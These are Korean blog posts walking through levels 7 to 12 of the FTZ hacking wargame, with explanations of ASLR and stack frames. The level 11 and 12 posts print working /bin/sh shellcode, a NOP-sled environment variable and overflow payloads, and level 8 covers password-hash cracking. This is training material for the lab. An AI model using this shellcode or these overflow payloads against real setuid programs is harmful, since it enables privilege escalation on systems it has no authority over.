FTZ_level12

해킹/FTZ 11~20 2016. 1. 13. 16:50


level12의 소스코드다. level11과 거의 동일한 문제이나 argv가 아닌 gets로 입력을 받고있다.

이것은 파이프를 사용해 입력을 전달할 수 있냐고 묻는 문제이다. '|'(파이프)는 좌측의 표준출력을 우측의 표준입력으로 사용하겠다 이것이다.


예시를 보여주기 위헤 tmp에서 파일 몇개를 만들어봤다.

첫줄처럼 ls를 했을 경우에는 표준출력을 통해서 a.txt부터 test.txt까지 모든 파일들을 보여준다.

여기서 파이프를 사용해 ls | grep test를 해주면 ls의 표준출력인 위 파일 목록들이 grep 프로세스에 표준입력으로 들어가면서 grep 프로세스는 ls의 결과중에서 test라는 패턴에 일치하는 test1과 test.txt를 보여준 것이다.


마찬가지로

(파이썬 페이로드;cat)|./attackme 를 하게되면 앞의 페이썬 페이로드의 결과값을 cat을 통해 읽은 표준 출력값이 attackme 프로그램에 표준 입력값으로 들어가게 된다.


이 페이로드를 제외하고 나머지는 level11과 동일하다. 환경변수에 놉 1000개+쉘코드를 넣고, 페이로드로 a*268+쉘코드 주소


export oxqo=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


(python -c 'print "a"*268+"\x02\xd9\xff\xbf"';cat)|./attackme


위 두개를 입력해주면..





쉘이 조금 티안나게 뜨긴 했지만 my-pass가 성공했다.

끝-


'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level11  (0) 2016.01.13
Tags
Social

FTZ_level11

해킹/FTZ 11~20 2016. 1. 13. 16:04


cat hint를 하면서 시작.

어떤 c언어 코드로 보이는데 이런류의 문제를 풀어본 사람이라면 확인할 것도 없이 attackme 프로그램의 소스코드라는 것을 안다.

앞으로 FTZ에서 계속 나올 패턴이므로 그냥 숙지하고 넘어가면 된다.


소스코드를 보아하니 argv를 strcpy하는 전형적인 오버플로우 취약점을 나타내고 있다.

strcpy는 바운더리 체크가 되지 않고 argv역시 문자열을 길이제한 없이 받는다.

따라서 사용자는 제약없이 마음대로 메모리의 스텍영역을 변조할 수 있다.


그중에서도 쉽게 프로세스의 흐름을 바꿔버릴 수 있는 영역이 리턴 영역인데..

이부분은 함수가 종료하기 전 에필로그를 진행하며 eip레지스터에 들어가서.. 함수 종료후 어느 부분을 실행할지 결정하는 중요한 부분이다.


상당부분 SFP의 역할에 중점을 둔 포스팅이긴 하지만 함수의 프롤로그와 에필로그에 관련된 내 포스팅의 주소를 첨부한다.

함수의 프롤로그와 에필로그에 관한 고찰 + FAKE EBP(실패)


에... 디버깅에 들어가기 전에 한가지 더 설명을 하자면.

이 FTZ 서버에는 ASLR이라는 메모리 보호기법이 걸려있다. 

ASLR의 개념


쉽게 말해서 스텍 주소가 랜덤이 되는 것인데, 이 ASLR이라는 것이 왜 방해가 되냐하면.... 

내가 원하는 공격 명령어를 어딘가 넣어준 후 리턴 영역을 변조해서 그것을 실행하도록 만들어야 하기 때문이다.

그런데 공격 명령어를 넣어줘봤자 어디 들어가있는지 모르면 리턴주소를 그부분으로 바꿔줄 수가 없다.


이 공격 명령어는 역시 대부분의 경우 '쉘코드'라고 하는 것인데. 쉡게말해서 setreuid(~~); system("/bin/sh");이런 프로그램을 기계어로 늘어놓은 것이라고 보면 된다. 이 과정에서 어셈블리로 바꾸고 널을 없애주고 여러 처리를 거치는데 그부분은 나중에 따로 포스팅에서 다루겠다.

아 대부분의 경우 쉘코드인 이유는 쉘만 띄우면 원하는 명령어를 자유롭게 실행할 수 있기 때문이다.




자 이제 대략적인 배경설명이 끝났으니 문제를 풀기위한 전략을 세우자면

1.쉘을 실행시켜주는 명령어를 어딘가 넣고.

2.ASLR로 인해 주소를 알수 없는 문제를 해결한다.

3.스텍을 변조해서 리턴 영역에 이 명령어의 주소를 넣어준다.

이렇게 될것이다.


우선 1번은 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 라는 25바이트 쉘코드를 사용할 것이다. 쉘코드 작성법은 나중에 따로 다루겠다.


2.ASLR이 야기하는 문제를 해결해야 하는데... 가장 간단하게 32비트 운영체제에서 aslr을 우회하기 위해서는 ulimit -s unlimited를 하는 방법이 있는데 FTZ 서버에서는 어째선지 먹히지 않는다.

그래서 사용할 방법은 0x90 : nop이라는 값을 이용하는 것이다. 이 nop이라는 것도 하나의 명령어로 취급되는데 이 명령어를 만나면 컴퓨터는 아무 연산도 하지 않고 그냥 eip만 다음 명령어로 넘어간다. 그 뒷부분에서 다음 명령어를 찾는 것이다. 아마 싱크를 맞추기 위해 있는게 아닌가 싶은데...

아무튼 이 0x90을 아주 많이 늘어놓고 그 뒤에 쉘코드를 붙여놓으면 수많은 0x90중 어느 한 부분만 리턴주소가 가르키게 되도 쭉 아래로 내려가서 결국은 쉘코드를 실행시켜줄 것이다. 즉 커다란 완충지대를 만들어 놓고 그안에 리턴주소가 들어갈 확률이 높아지게 만드는 것이라고 이해하면 되겠다.


3번을 위해서는 먼저 디버깅이 필요하다. attackme 파일을 gdb에서 열어봤다.



에... level9부분에서 이런 문제에 대한 디버깅 팁을 살짝 저어뒀는데... 다시 리바이벌 하자면 call 위주로 살펴보면서 그 call 명령어 이전에 스텍에 push되는 인자값들을 유심히 보면 된다.

보아하니 strcpy를 call 하기 전에 ebp-264부분이 eax를 통해 인자로 들어가는데 이부분이 str 변수의 영역이 자명해 보인다.

ebp 주소의 뒷쪽으로는 4바이트의 sfp와 4바이트의 rtn이 있을 것이므로 ebp-264바이트부터 SFP까지 268개를 의미없는 문자들로 채워넣고 4바이트를 리턴에 들어갈 주소로 넣어주면 되겠다.

즉 argv[1]에 268바이트의 문자열+4바이트의 공격코드 주소를 넣어주면 strcpy는 길이체크를 하지 않기때문에 ebp-264부터 272글자를 옮겨적으면서 리턴주소를 변조해 버릴 것이다. 


자 이제 리턴을 변조할 방법을 찾아냈으니 공격코드를 넣어주고 그 주소를 구해보자. 여기서는 환경변수를 이용할 건데 가장 초보적인 방법이지만 이때 아니면 별로 쓸일도 없으니 한번 써보도록 하자.


먼저 이렇게 해서 만개의 nop+쉘코드를 oxqo라는 환경변수에 집어넣었다. 이제 이 환경변수가 대략 어디쯤 들어가는지 알아야하는데...



이런 프로그램을 만들어서 oxqo라는 환경변수의 주소를 알수 있다. 프로그램을 돌려보면


0xbfffd51a에 공격코드가 들어가 있다. 여기서 Image base값이 랜덤하게 더해지면서 주소가 바뀔테니 10000개의 놉 중에 5000정도 더한 중간지점을 택해서 넣어주자.  0xbfffd51a+5000=0xbfffe8a2이다. 리턴 영역에 이 주소가 들어가게 페이로드를 작성하면 된다.



위에서 설명했듯이 268개의 더미 + 쉘코드 주소 페이로드로 쉘을 여는데 성공했다.

플래그 출력화면은 생략.

끝-



ps. 앞으로는 이렇게 세세하게 적어놓는거 그만둬야겠다.. 너무 힘들고 오래걸린다.



'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level12  (0) 2016.01.13
Tags
Social

ASLR의 개념

해킹/개념 정리 2016. 1. 13. 15:20

ASLR-Adress Space Layout Randomization


내가 이해한 ASLR은 프로세스가 메모리에 올라갈 때 힙, 스텍, 공유 라이브러리의 위치를 랜덤하게 정해주는 것이다.

고정주소를 알아야 가능한 일부 익스플로잇 기법에 대해서 효과적인 대처가 될 수 있으나, 또 무식하게 주소가 맞을때까지 여러번 돌리면 공격이 성공할 수 있다는 단점 또한 가지고 있는 듯 하다.


아무튼 이렇게 프로세스 내에서 힙, 스텍등의 위치를 랜덤하게 하기 위해서 Image Base값을 랜덤하게 바꿔준다고 한다.

Image base에 관해서도 설명을 해야할 것 같은데..

이름에서 어느정도 느껴지듯이 가상 시작점이라고 생각하면 이해가 좀 편할듯 하다.

프로세스의 가상 메모리의 절대주소 VA값은 이 Image base값 + RVA(상대주소)로 정해진다.

쉽게말해서 어떤 스텍이 0xdeadbeef라는 주소에 위치한다면 Image base값 0xdead0000에 RVA 0x0000beef값을 더해서 0xdeadbeef라는 주소에 위치하게 된다는 것이다. 그런데 여기서 Image base값을 랜덤하게 정해줘 버려서 해당 스텍의 주소가 0xdeadbeef가 될지 0xcafebeeef가 될지 뭐가될지 공격자가 알수 없게 하겠다는 발상이다.


정확히 Image base와 RVA가 2바이트씩 떨어지는지는 확인한 바가 없다... 그냥 개념이 저렇다는 것이다.


ASLR을 우회할 수 있는 방법이나 좀더 깊히 들어가야 하는 내용은 필요할 때 그때그때 다른 포스팅에서 다루고 이 포스팅에 링크를 걸어놓는 방식으로 해야겠다.

Tags
Social

함수의 프롤로그와 에필로그에 관한 고찰 + fake ebp(실패)

해킹/개념 정리 2016. 1. 13. 00:17




이 실험의 기본적인 목적은 함수의 플롤로그와 에필로그에서 어떠한 일이 일어나는지 관찰하는것.

그것을 용이하게 하기 위해 굳이 간단한 출력을 func()라는 함수까지 만들어서 하고 있는 것이다.

그리고 그 에필로그와 프롤로그를 잘 관찰한 뒤에 facke ebp를 사용해서 SFP까지만 덮어서도 프로그램의 흐름을 바꿀 수 있는지 시도해보려고 한다.



먼저 그림과 같이 func를 call 하는 라인에 브레이크포인트를 걸었다. 해당 부분까지 실행해보면...



이부분에서는 레지스터만 보고 넘어간다.

esp:0xbffff780

ebp:0xbffff788

을 각각 가르키고 있다. stepi를 해서 func 안으로 들어가서 다시 레지스터를 확인해 보자





esp:0xbffff77c

ebp:0xbffff788

ebp는 그대로인데 esp가 -4만큼 늘어났다. esp에 뭔가 push 되어있다는 뜻이다. 해당 부분을 확인해봤다.





esp가 가르키고있는 0xbffff77c 메모리 주소에는 0x0804854a가 들어있었다. 이 주소는 main+11,

call func를 하는 main+6의 바로 다음주소, 즉 리턴주소가 들어간 것이다.

call 명령어가 실행되면 단순히 그자리로 점프하는 것이 아니라 현재 esp가 가르키고 있는 자리에 돌아올 주소를 push하고 점프하는 것이다.


이제 func에서 실행될 명령어는 함수의 프롤로그인 push ebp; mov ebp, esp 명령어들이다.

사실 자명하긴 하지만 그래도 과정을 확실히 이해하기 위해 하나씩 돌려봤다.




esp:0xbffff778

ebp:0xbffff788

보다시피 esp가 추가로 4만큼 빠지면서 그 자리에 0xbffff788이 들어갔다. ebp에 들어있던 값이다.

이부분이 바로 다시 main함수로 return 할때 ebp에 저장될 SFP라는 값이다. leave라는 과정에서 SFP가 ebp롤 pop 되어서 올라간다.

이제 mov ebp, esp 부분이 실행될텐데 당연히 ebp가 현재 esp의 위치까지 당겨질 것이다.

마찬가지로 과정을 이해하기 위해서 인내심을 가지고 돌려보자.




esp:0xbffff778

ebp:0xbffff778

예상과 같이 ebp를 당겨왔다. 파란글씨로 esp와 ebp를 쓰는 이유가 나중에 두 레지스터를 기준으로 그림을 그려보기 위해서다.

이제 프롤로그를 다 봤으니 에필로그인 leave ret 부분까지 넘어가보자.





leave앞에서의 레지스터 상황이다. 

함수의 에필로그는 leave || ret 두가지로 이루어진다.

leave는 mov esp, ebp; pop ebp 두가지를 하나의 명령어로 묶은 것이고.

ret은 pop eip; jmp eip 두가지 명령어를 하나로 묶은 것이다.

내가 이해하기로는 프롤로그인 call ~~~; push ebp; mov ebp, esp 의 완벽한 역과정인것 같다. 확실히 대칭을 이룬다.

이제 leave를 하면 ebp 뒤에 있는 0xbffff788이 ebp로 들어갈 것이다. 




예상대로 스텍에서 SFP 부분에 있던 값이 ebp레지스터에 들어갔다.

이제 ret을 하게 되면 ebp+4부분에 있는 0x0804854a로 가게 될 것이다. 큰 의미는 없지만 실행시켜보면.




메인으로 돌아온 것을 확인했다.


좀 길어지고 뭘하려는건지 모르게된 감이 있는데... 이렇게 함수 func의 프롤로그와 에필로그의 과정을 알아봤다.

사실 SFP가 어떻게 작동하는지 눈으로 보기 위해서 해본 실험이었다.

결론은 SFP는 ret명령이 실행되면서 이전에 실행되던 함수로 돌아가려고 할 때 ebp를 저장해놓는 백업용도로 사용하는 것 같다.



그리고.... 이게 포스팅을 하게되면서 알게 된 사실인데 부끄럽지만 저 프로그램을 일부러 취약하게 만들었는데  우분투에서 컴파일하니 취약점이 사라져버렸다.

코드를 보면 SFP부분을 덮을수 있게 4바이트 영역에 8바이트 입력을 받는데 컴파일러가 스텍을 12바이트나 늘려버려서 SFP를 덮을수가 없었다.

취약한 바이너리를 가져와서 다시 시도해 보겠다.

.....


......


한참을 시도했으나 취약하게 만드는데 실패했다-_-;; 정확히는 fgets하는 과정에서 끝에 한바이트가 null로 바뀌면서 리턴을 한바이트 덮어버려... 세그폴트가 나며 꺼져버린다.. 허허 어쩔수 없이 fake ebp는 다음에 하는걸로




'해킹 > 개념 정리' 카테고리의 다른 글

쉘코드 작성법  (0) 2016.01.16
ASLR의 개념  (0) 2016.01.13
다중 파이프 페이로드  (0) 2015.11.24
GOT overwrite  (0) 2015.11.24
UPX  (0) 2015.11.24
Tags
Social

FTZ_level10

해킹/FTZ 1~10 2016. 1. 12. 20:11


힌트를 열어보니 공유메모리 기반 IPC를 도청하는 프로그램을 작성하라는 내용이다.

프로그래밍 자체는 관련함수를 조금 찾아보면 그렇게 어렵지 않게 작성할 수 있다.

공유메모리에 관한 좋은 설명이 있는 주소를 첨부한다.

http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/system_programing/IPC/SharedMemory


조만간 내용을 더 공부하고 정리해서 블로그에 다시 올릴 예정이다.

아무튼 위 내용을 기반으로 프로그램을 작성해보면.



이런 프로그램을 만들수 있다. key_t값을 힌트에서 알려준 7530으로 맞춰주면 된다.

해당 프로그램을 컴파일 후 실행시켜보면




경고메세지는 살짝 뜨지만 공유메모리에 접근하는데 성공했다.

끝-

'해킹 > FTZ 1~10' 카테고리의 다른 글

FTZ_level9  (0) 2016.01.12
FTZ_level8  (0) 2016.01.11
FTZ_level7  (0) 2016.01.11
FTZ_level6  (0) 2016.01.11
FTZ_level5  (0) 2016.01.11
Tags
Social

FTZ_level9

해킹/FTZ 1~10 2016. 1. 12. 02:38


여태까지와 마찬가지로 힌트를 읽으면서 시작.

아주아주 전형적인 bof문제의 형식이고 아주아주 쉬운 수준이다.


----------------------------------------------------------------------------------------------------------------

음... 이후 부분을 어떻게 넘어갈지 참 고민을 많이 했다.

혹시 간단한 디버깅도 해본적 없는 처음 공부하는 사람이 ftz를 공부하며 이글을 접하지도 않을까 하는 고민이다.

내 블로그는 구글 검색해도 안나오는 허접한 블로그이긴 하지만...

혹시나 미래에는 내 지인중 누구라도 초심자가 이 글을 보면서 공부할 수도 있지 않을까라는 생각을 했었다.

그러나 한편으로는 아무도 안보는 블로그의 있을지 없을지 모르는 초심자를 위해 처음부터 다 설명하는게 오바라는 생각도 들었다.

사실 나는 뒷부분도 이미 공부가 되어있는 상태라 대강 프로그램이 어떻게 돌아가는지 알고있는 상황이고

이 블로그는 누구에게 설명하기 위해서 작성한다기 보다는 내 공부한 내용을 정리하기 위해 작성하는 것이기 때문이다.

고민한 결과 운영체제에서 프로그램의 작동 원리 전반을 다 다루기에는 하나의 포스팅에 부담이 너무 크므로... 

프로그램이 스텍을 어떻게 활용하는지 + 디버깅을 위한 32비트 레지스터들의 전반적인 역할을 위주로 어느정도 모르는 사람도 이해할 수 있게끔 써보자는 결론에 도달했다.


그래서 그런 쓰잘데기없는 기우의 결과로 쓰잘데기없는 설명을 붙이자면

프로그램을 실행해서 메모리에 올라가 있을때는 프로세스라고 부른다. 이 프로세스들은 


이 유명한 그림과 같은 구조를 가진다.

text 영역에는 프로그램의 코드, 즉 기계어로 된 명령어들이 들어간다.

data영역에는 전역변수가 들어간다.

그렇다면 bof파일에서 buf나 buf2와 같은 변수들은 어디로 들어가냐하면 바로 stack의 영역으로 들어가게 된다.

이 문제에서는 필요하지 않지만 추가로 설명하자면 char* buf와 같이 포인터를 선언하고 malloc으로 buf에 동적인 영역을 할당하게 되면 힙영역에 문자열이 들어갈 공간을 할당하게 되고 그것을 가르키는 4바이트 주소가 buf라는 변수에 들어가게 되는 것이다.

아무튼 스텍으로 돌아와서 이 스텍이라는 놈은 그림처럼 높은주소에서 낮은주소로 자라난다. 거꾸로 자란다고 표현한다 보통.

보통 디버깅을 할때 하나의 함수를 어셈블리어로 쭉 풀어보면.. 함수의 프롤로그라고 해서 push ebp/ mov ebp, esp를 한다음 꼭 sub esp, 0x~~ 이런식으로 esp에서 어느정도를 빼주는데 이게 바로 스텍의 공간을 확보하는 행위이다.


설명을 위해 아주 간단한 이런 프로그램을 작성하고 디버거를 이용해 디스어셈블 해보았다.

맨 위의 두줄이 함수의 프롤로그 부분이고 그다음 esp에서 0x8만큼을 빼는것이 보인다.

main+16과 main+23을 보니 ebp-4 부분에는 10인 0xa가, ebp-5에는 c의 아스키코드인 0x63이 들어간 것이 보인다.

즉 변수 a, b가 각각 ebp-4, ebp-5에 들어갔다는 것이다. 이부분까지 함수의 스텍 변화를 한번 그려봤는데..




이렇게 되는것이다. 여기서 프롤로그 이후 움직이지 않는 저 ebp를 베이스포인터라고 하고 스텍이 pop, push되면서 따라다니는 저 esp레지스터를 스텍 포인터라고 한다. 더 자세한 다른 레지스터들이나 프로그램 원리에 대한 공부는 읽는사람 자신에게 맡긴다. 구글은 위대하다.

아무튼 이 길고 장황하고 재미없는 설명에서 중요한 점은 스텍에서 변수들의 위치는 ebp를 기준으로 얼마만큼을 뺀 지점이고, 실제로 사용할때도 ebp-5, ebp-4 이런식으로 주로 사용한다는 것이다.


한가지 더 사소한 디버깅 팁은 call 명령어를 기준으로 보는 것이다. 하나의 call 명령어로부터 다음 call 명령어까지는 주로 push, mov등의 명령어로 스텍에 뭔가를 집어넣는 작업이 들어가는데 이렇게 스텍에 들어가는 것들이 바로 다음에 call할 함수에서 사용할 인자라는 것이다.


진짜 정말정말 귀찮으므로 여기까지만 하고 직접 이 bof라는 파일을 디버깅하는 것을 보면 어느정도 이해에 도움이 될 것이다.

----------------------------------------------------------------------------------------------------------------



소스를 그대로 긁어서 /tmp 밑에 새로운 bof파일을 컴파일 한 후 gdb로 디버깅을 해보자.



위와같이 먼저 bof.c를 vi로 만들어준후 gcc로 컴파일해주고 gdb에서 bof를 연다.



그다음 내편한대로 인텔 문법으로 설정해준 뒤 main을 디스어셈블 해보았다.

세번째 줄에 보면 sub esp, 0x28을 해주는 것이 보이는데 스텍을 사용할만큼 할당해주는 것이다 0x28 즉 40바이트정도의 스텍이 할당되었다.

대충 call 명령어를 위주로 살펴보면 fgets 함수를 call하기 전에 eax로 ebp-40의 주소가 들어가고 eax를 push 해주는 것을 알 수 있다.

fgets에 인자를 넘겨주는 일련의 과정인데 위 소스에서 fgets에 인자로 buf가 들어가는 것을 확인했으니 ebp-40부분이 buf변수에게 할당된 부분인 것을 유추할 수 있다. (그전에 push된 0x28과 ds:0x8049698은 각각 숫자 40과 stdin의 주소다. fgets(buf, 40, stdin);이었으므로 뒤의 인자가 먼저 push된다는 것을 알수있다.)

마찬가지로 비슷한 과정을 거쳐서 strncmp로 넘어가는 ebp-24라는 부분이 buf2에 할당된 부분이라는 것 역시 유추할 수 있겠다.


그러면 buf는 ebp-40에 할당되었고 buf2는 ebp-24에 할당되었으므로 두 변수 사이에 16만큼 차이가 있는것을 알 수 있다.

스텍구조를 그림으로 그려보면





대충 이렇게 될것이다. 

위와같은 스텍 구조에서 바운더리가 10byte짜리 buf 공간에 fgets가 40바이트나 입력을 받아버리니 오버플로우가 가능해진다.

buf2에 go를 넣는것이 목적이므로 16바이트를 아무 글자나 채워준뒤 뒤에 두개의 바이트를 go로 넣어주면 된다.

사실 aaaaaaaaaaaaaaaago하면 되지만 간지나게 파이썬 파이프를 사용해주자.




파이프를 이용하면 꼭 쉘이 좀 이상하게 뜨지만 my-pass가 정상적으로 작동하는 것을 확인했다.

끝-

'해킹 > FTZ 1~10' 카테고리의 다른 글

FTZ_level10  (0) 2016.01.12
FTZ_level8  (0) 2016.01.11
FTZ_level7  (0) 2016.01.11
FTZ_level6  (0) 2016.01.11
FTZ_level5  (0) 2016.01.11
Tags
Social

FTZ_level8

해킹/FTZ 1~10 2016. 1. 11. 23:38


음 힌트를 보니 쉐도우파일을 얻어서 존더리퍼로 크랙하면 되겠다.

shadow파일은 사용자의 비밀번호를 해쉬화해서 저장해놓은 파일이고, 안전하지 않은 해시함수를 사용하면 크랙당할 수 있다.

우선은 크기가 2700인 파일을 찾아보자





음 생각보다 많이 나왔다

2700다음 c를 붙이는 이유는 바이트라고 알려주기 위해서다.

크기 뒤에 붙여주는 단위는 아래와 같다:

b : 블록단위 512kb

c : byte

k : kbyte

w : 2byte 워드

디폴트 값 b


여러가지가 나왔지만 쉐도우파일이라고 했으니 확장자가 gz나 gif인 것을 제외하고 txt파일인 중간의 것을 읽으면 되겠다.




내용은 대충 이렇다. 쉐도우파일은 해시값과 다른 정보들을 :로 구분하는데 지금 이 파일에는 똑같은 비밀번호가 여러번 반복되고 있는것으로 보인다.

:으로 구분되는 저 데이터들의 의미는 앞에서부터 사용자:패스워드 해시값:마지막으로 변경한 날로부터의 시간: 패스워드 변경가능 기간: 등등~~~

이다. 전부 외울필요는 없을듯 검색하면 다 나온다.



아무튼 이 해시값을 가지고 비밀번호를 알아내야 하는데 해시 크랙툴은 유명한 존더리퍼가 있다.

ftz 레드햇 리눅스가 하도 이상해가지고 존더리퍼 압축해제도 잘 안되고 해서 그냥 윈도우용 존더리퍼를 다운받은 뒤 해당 파일을 가져와서 cmd에서 크랙했다.




정상적으로 level9의 비밀번호가 출력된다.



ps.윈도우로 쉐도우파일을 옮겨서 크랙할때 긁어서 메모장에 붙여넣는 형식으로 많이 하는데 이때 존더리퍼가 전혀 크랙을 못하는 경우가 있다. 이경우에는 메모장을 저장할때 인코딩을 utf-8로 해주면 해결된다!




'해킹 > FTZ 1~10' 카테고리의 다른 글

FTZ_level10  (0) 2016.01.12
FTZ_level9  (0) 2016.01.12
FTZ_level7  (0) 2016.01.11
FTZ_level6  (0) 2016.01.11
FTZ_level5  (0) 2016.01.11
Tags
Social

FTZ_level7

해킹/FTZ 1~10 2016. 1. 11. 22:30


마찬가지로 힌트로 시작한다. 뭔가 퍼즐스러운 문제일 것 같다.

우선 실행해보라니 실행해본다.



엄...뭘까 이게 cat을 사용한데서 뭔가 허점이 있나 했으나... /bin/wrong.txt를 못읽은것 뿐인것 같다.




gdb로 분석해보려고 했으나 권한이 없다... 난관에 봉착했다.


FTZ level7에서 막혔다는 사실에 자존심히 상하며 다른 블로그를 찾아봤다.

......결론은 내 FTZ로컬 파일에 문제가 있었다 /bin/wrong.txt파일이 원래 존재해서 힌트를 줘야하는데 그게 없으니 풀수가 없는거였다..참나

root로 로그인해서 인터넷에 나와있는대로 wrong.txt를 만들어준 후 다시 실행시켰다.





어 그래 저게 나올지 알고있었다. 내가 적어놨으니까-_-;; 뭐아무튼 정상적으로 실행시켰다고 가정하고 문제를 풀어보면..


우선 가독성을 위해 메모장을 열어서 옮겨적었다. 이진수 얘기가 힌트에 있었으니 아마 저게 2진수일것이다.

에.. high를 1, low를 0으로 보고 숫자로 바꿔주면 1101101 1100001 1110100 1100101이다 하나씩 계산기를 프로그래머용으로 열어서 10진수로 고쳐주면

109 97 116 101이다. 이거를 뭐 띄어쓰기 포함인지 아니면 붙여서 쓰라는건지 모르겠지만 일단 넣어봤다.





안된다..ㅡㅡ 안돼... 애매한 문제에 대한 깊은 빡침을 느끼다가.... 숫자의 크기를 보고 대충 ascii코드에 대입해봤다.

숫자들을 ascii에 대입하면...mate 단어가 그럴듯한걸 봐서 확실하다.



풀렸다. 감상은... 이게뭐야ㅡㅡ

끝-

'해킹 > FTZ 1~10' 카테고리의 다른 글

FTZ_level9  (0) 2016.01.12
FTZ_level8  (0) 2016.01.11
FTZ_level6  (0) 2016.01.11
FTZ_level5  (0) 2016.01.11
FTZ_level4  (0) 2016.01.11
Tags
Social